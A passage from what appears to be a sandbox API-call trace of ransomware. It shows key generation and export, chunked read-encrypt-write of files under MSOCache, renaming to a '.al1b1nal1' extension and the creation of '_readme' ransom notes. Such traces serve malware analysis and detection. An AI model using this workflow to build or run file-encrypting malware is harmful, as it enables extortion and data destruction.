hExpKey=0x2e22e8, dwBlobType=0x1, dwFlags=0x0, pbData=0x123a4f8, pdwDataLen=0x119fb1c | out: pbData=0x123a4f8*, pdwDataLen=0x119fb1c*=0x20c) returned 1 [0098.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab11c8 [0098.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0098.797] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x119fb10*=0) returned 0x0 [0098.797] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x119fb28*=0) returned 0x0 [0098.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x5c0) returned 0x11f6058 [0098.797] ReadFile (in: hFile=0x2a0, lpBuffer=0x11f6058, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x11f6058*, lpNumberOfBytesRead=0x119fb28*=0x5aa, lpOverlapped=0x0) returned 1 [0098.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x5c0) returned 0x9f5648 [0098.800] CryptEncrypt (in: hKey=0x2e8fc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1273230*, pdwDataLen=0x119fb24*=0x5aa, dwBufLen=0x9aa | out: pbData=0x1273230*, pdwDataLen=0x119fb24*=0x5b0) returned 1 [0098.829] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8) returned 1 [0098.829] NtClose (Handle=0x2a0) returned 0x0 [0098.829] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.al1b1nal1" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.al1b1nal1")) returned 1 [0098.830] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.al1b1nal1", dwFileAttributes=0x2020) returned 1 [0098.830] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.al1b1nal1_readme", dwFileAttributes=0x80) returned 0 [0098.830] GetLastError () returned 0x2 [0098.830] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.al1b1nal1_readme" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.al1b1nal1_readme"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x9d4ff0, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x119fb60)) returned 0 [0098.830] GetLastError () returned 0x2 [0098.830] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.al1b1nal1_readme" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.al1b1nal1_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0098.831] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x119fafc, lpLastWriteTime=0x119fafc) returned 1 [0098.831] WriteFile (in: hFile=0x2a0, lpBuffer=0x94fe10*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x94fe10*, lpNumberOfBytesWritten=0x119fb28*=0x164, lpOverlapped=0x0) returned 1 [0098.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab11c8 [0098.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xb) returned 0x94d630 [0098.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab1210 [0098.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94d630) returned 1 [0098.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab1210) returned 1 [0098.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x2d1) returned 0x13651e8 [0098.833] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8) returned 1 [0098.834] NtClose (Handle=0x2a0) returned 0x0 [0098.834] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.al1b1nal1_readme", dwFileAttributes=0x2020) returned 1 [0098.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13651e8) returned 1 [0098.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0098.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0098.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123a4f8) returned 1 [0098.835] CryptDestroyKey (hKey=0x2e8fc0) returned 1 [0098.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0cb8) returned 1 [0098.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1378c78) returned 1 [0098.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1378b70) returned 1 [0098.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0098.835] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290)) returned 1 [0098.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0098.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0098.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0098.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0098.836] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0098.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0098.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0098.837] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290)) returned 1 [0098.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0098.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1378b70 [0098.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0098.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1378c78 [0098.838] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0098.838] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290)) returned 1 [0098.838] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0098.838] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x119fafc, lpLastWriteTime=0x119fafc) returned 1 [0098.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0098.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0098.838] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0098.839] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0098.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0cb8 [0098.839] CryptGenKey (in: hProv=0x2dd990, Algid=0x6610, dwFlags=0x1000001, phKey=0x119fb20 | out: phKey=0x119fb20*=0x2e8fc0) returned 1 [0098.839] CryptExportKey (in: hKey=0x2e8fc0, hExpKey=0x2e22e8, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x119fb1c | out: pbData=0x0*, pdwDataLen=0x119fb1c*=0x20c) returned 1 [0098.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x240) returned 0x123a4f8 [0098.839] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0098.839] CryptExportKey (in: hKey=0x2e8fc0, hExpKey=0x2e22e8, dwBlobType=0x1, dwFlags=0x0, pbData=0x123a4f8, pdwDataLen=0x119fb1c | out: pbData=0x123a4f8*, pdwDataLen=0x119fb1c*=0x20c) returned 1 [0098.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0098.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab11c8 [0098.840] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x119fb10*=0) returned 0x0 [0098.840] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x119fb28*=0) returned 0x0 [0098.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xa00000) returned 0x1ae0020 [0098.840] ReadFile (in: hFile=0x2a0, lpBuffer=0x1ae0020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x1ae0020*, lpNumberOfBytesRead=0x119fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0099.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xa00000) returned 0x24f0020 [0100.218] CryptEncrypt (in: hKey=0x2e8fc0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1ae0020*, pdwDataLen=0x119fb24*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x1ae0020*, pdwDataLen=0x119fb24*=0xa00000) returned 1 [0100.700] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x119fb10*=0) returned 0x0 [0100.700] WriteFile (in: hFile=0x2a0, lpBuffer=0x1ae0020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x1ae0020*, lpNumberOfBytesWritten=0x119fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0100.855] FlushFileBuffers (hFile=0x2a0) returned 1 [0102.869] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x119fb28*=0) returned 0xa00000 [0102.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xa00000) returned 0x24f0020 [0102.869] ReadFile (in: hFile=0x2a0, lpBuffer=0x24f0020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x24f0020*, lpNumberOfBytesRead=0x119fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0103.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xa00000) returned 0x2f00020 [0103.637] CryptEncrypt (in: hKey=0x2e8fc0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1ae0020*, pdwDataLen=0x119fb24*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x1ae0020*, pdwDataLen=0x119fb24*=0xa00000) returned 1 [0103.728] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=10485760, lpDistanceToMoveHigh=0x119fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x119fb10*=0) returned 0xa00000 [0103.728] WriteFile (in: hFile=0x2a0, lpBuffer=0x1ae0020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x1ae0020*, lpNumberOfBytesWritten=0x119fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0103.886] FlushFileBuffers (hFile=0x2a0) returned 1 [0103.928] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x119fb28*=0) returned 0x1400000 [0103.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xa00000) returned 0x24f0020 [0103.928] ReadFile (in: hFile=0x2a0, lpBuffer=0x24f0020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x24f0020*, lpNumberOfBytesRead=0x119fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0104.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xa00000) returned 0x2f00020 [0104.549] CryptEncrypt (in: hKey=0x2e8fc0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1ae0020*, pdwDataLen=0x119fb24*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x1ae0020*, pdwDataLen=0x119fb24*=0xa00000) returned 1 [0104.653] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=20971520, lpDistanceToMoveHigh=0x119fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x119fb10*=0) returned 0x1400000 [0104.653] WriteFile (in: hFile=0x2a0, lpBuffer=0x1ae0020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x1ae0020*, lpNumberOfBytesWritten=0x119fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0104.813] FlushFileBuffers (hFile=0x2a0) returned 1 [0104.841] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x119fb28*=0) returned 0x1e00000 [0104.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xa00000) returned 0x24f0020 [0104.842] ReadFile (in: hFile=0x2a0, lpBuffer=0x24f0020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x24f0020*, lpNumberOfBytesRead=0x119fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0105.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xa00000) returned 0x2f00020 [0105.410] CryptEncrypt (in: hKey=0x2e8fc0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1ae0020*, pdwDataLen=0x119fb24*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x1ae0020*, pdwDataLen=0x119fb24*=0xa00000) returned 1 [0105.498] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=31457280, lpDistanceToMoveHigh=0x119fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x119fb10*=0) returned 0x1e00000 [0105.498] WriteFile (in: hFile=0x2a0, lpBuffer=0x1ae0020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x1ae0020*, lpNumberOfBytesWritten=0x119fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0105.630] FlushFileBuffers (hFile=0x2a0) returned 1 [0105.878] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x119fb28*=0) returned 0x2800000 [0105.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xa00000) returned 0x24f0020 [0105.879] ReadFile (in: hFile=0x2a0, lpBuffer=0x24f0020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x24f0020*, lpNumberOfBytesRead=0x119fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0106.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xa00000) returned 0x2f00020 [0106.456] CryptEncrypt (in: hKey=0x2e8fc0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1ae0020*, pdwDataLen=0x119fb24*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x1ae0020*, pdwDataLen=0x119fb24*=0xa00000) returned 1 [0106.541] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=41943040, lpDistanceToMoveHigh=0x119fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x119fb10*=0) returned 0x2800000 [0106.541] WriteFile (in: hFile=0x2a0, lpBuffer=0x1ae0020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x1ae0020*, lpNumberOfBytesWritten=0x119fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0106.667] FlushFileBuffers (hFile=0x2a0) returned 1 [0106.693] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x119fb28*=0) returned 0x3200000 [0106.693] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xa00000) returned 0x24f0020 [0106.693] ReadFile (in: hFile=0x2a0, lpBuffer=0x24f0020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x24f0020*, lpNumberOfBytesRead=0x119fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0107.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xa00000) returned 0x2f00020 [0107.393] CryptEncrypt (in: hKey=0x2e8fc0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1ae0020*, pdwDataLen=0x119fb24*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x1ae0020*, pdwDataLen=0x119fb24*=0xa00000) returned 1 [0107.500] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=52428800, lpDistanceToMoveHigh=0x119fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x119fb10*=0) returned 0x3200000 [0107.500] WriteFile (in: hFile=0x2a0, lpBuffer=0x1ae0020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x1ae0020*, lpNumberOfBytesWritten=0x119fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0107.631] FlushFileBuffers (hFile=0x2a0) returned 1 [0107.721] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x119fb28*=0) returned 0x3c00000 [0107.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x71a2c0) returned 0x24f0020 [0107.729] ReadFile (in: hFile=0x2a0, lpBuffer=0x24f0020, nNumberOfBytesToRead=0x71a290, lpNumberOfBytesRead=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x24f0020*, lpNumberOfBytesRead=0x119fb28*=0x71a290, lpOverlapped=0x0) returned 1 [0108.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x71a2c0) returned 0x2c10020 [0108.793] CryptEncrypt (in: hKey=0x2e8fc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24f0020*, pdwDataLen=0x119fb24*=0x71a290, dwBufLen=0x71a690 | out: pbData=0x24f0020*, pdwDataLen=0x119fb24*=0x71a2a0) returned 1 [0108.953] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x24f0020) returned 1 [0109.001] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=62914560, lpDistanceToMoveHigh=0x119fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x119fb10*=0) returned 0x3c00000 [0109.002] WriteFile (in: hFile=0x2a0, lpBuffer=0x1ae0020*, nNumberOfBytesToWrite=0x71a290, lpNumberOfBytesWritten=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x1ae0020*, lpNumberOfBytesWritten=0x119fb28*=0x71a290, lpOverlapped=0x0) returned 1 [0109.154] FlushFileBuffers (hFile=0x2a0) returned 1 [0109.179] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8) returned 1 [0109.179] NtClose (Handle=0x2a0) returned 0x0 [0109.518] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.al1b1nal1" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.al1b1nal1")) returned 1 [0109.519] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.al1b1nal1", dwFileAttributes=0x2020) returned 1 [0109.519] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.al1b1nal1_readme", dwFileAttributes=0x80) returned 0 [0109.519] GetLastError () returned 0x2 [0109.519] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.al1b1nal1_readme" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.al1b1nal1_readme"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x9d5010, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x119fb60)) returned 0 [0109.520] GetLastError () returned 0x2 [0109.520] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.al1b1nal1_readme" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.al1b1nal1_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0109.520] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x119fafc, lpLastWriteTime=0x119fafc) returned 1 [0109.520] WriteFile (in: hFile=0x2a0, lpBuffer=0x94fe10*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x94fe10*, lpNumberOfBytesWritten=0x119fb28*=0x164, lpOverlapped=0x0) returned 1 [0109.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0109.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x1b) returned 0x12c3320 [0109.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab1210 [0109.521] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12c3320) returned 1 [0109.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab1210) returned 1 [0109.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x2d1) returned 0x13651e8 [0109.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x300) returned 0x133c698 [0109.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13651e8) returned 1 [0109.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x300) returned 0x13651e8 [0109.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0109.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x133c698) returned 1 [0109.523] WriteFile (in: hFile=0x2a0, lpBuffer=0x13651e8*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x13651e8*, lpNumberOfBytesWritten=0x119fb28*=0x2f9, lpOverlapped=0x0) returned 1 [0109.523] GetFileTime (in: hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fc3c*(dwLowDateTime=0x8adc3a90, dwHighDateTime=0x1d5d030)) returned 1 [0109.523] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8) returned 1 [0109.524] NtClose (Handle=0x2a0) returned 0x0 [0109.524] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.al1b1nal1_readme", dwFileAttributes=0x2020) returned 1 [0109.525] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13651e8) returned 1 [0109.525] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab11c8) returned 1 [0109.525] 